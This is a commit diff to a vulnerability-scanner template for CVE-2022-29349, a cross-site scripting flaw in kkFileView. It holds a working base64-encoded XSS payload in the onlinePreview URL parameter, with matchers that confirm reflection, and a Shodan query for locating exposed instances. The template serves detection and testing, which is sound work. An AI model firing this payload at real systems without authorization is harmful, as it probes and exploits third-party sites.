Update CVE-2022-29349.yaml

cves/2022/CVE-2022-29349.yaml

@@ -7,25 +7,31 @@ info:
   description: |
     kkFileView v4.0.0 was discovered to contain multiple cross-site scripting (XSS) vulnerabilities via the urls and currentUrl parameters at /controller/OnlinePreviewController.java.
   reference:
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29349
     - https://github.com/kekingcn/kkFileView/issues/347
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-29349
+  classification:
+    cve-id: CVE-2022-29349
   metadata:
+    verified: true
     shodan-query: http.html:"kkFileView"
-    verified: "true"
-  tags: xss,cve,2022
+  tags: cve,cve2022,kkFileView,xss
 
 requests:
-  - raw:
-      - |
-        GET /onlinePreview?url=aHR0cDovL3d3dy54eHguY29tL3h4eC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPjEyMw%3D%3D HTTP/1.1
-        Host: {{Hostname}}
+  - method: GET
+    path:
+      - "{{BaseURL}}/onlinePreview?url=aHR0cDovL3d3dy54eHguY29tL3h4eC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPjEyMw%3D%3D"
 
     matchers-condition: and
     matchers:
+      - type: word
+        words:
+          - 'txt"><img src=111 onerror=alert(1)>123'
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
       - type: status
         status:
           - 200
-
-      - type: word
-        words:
-          - '"><img src=111 onerror=alert(1)>'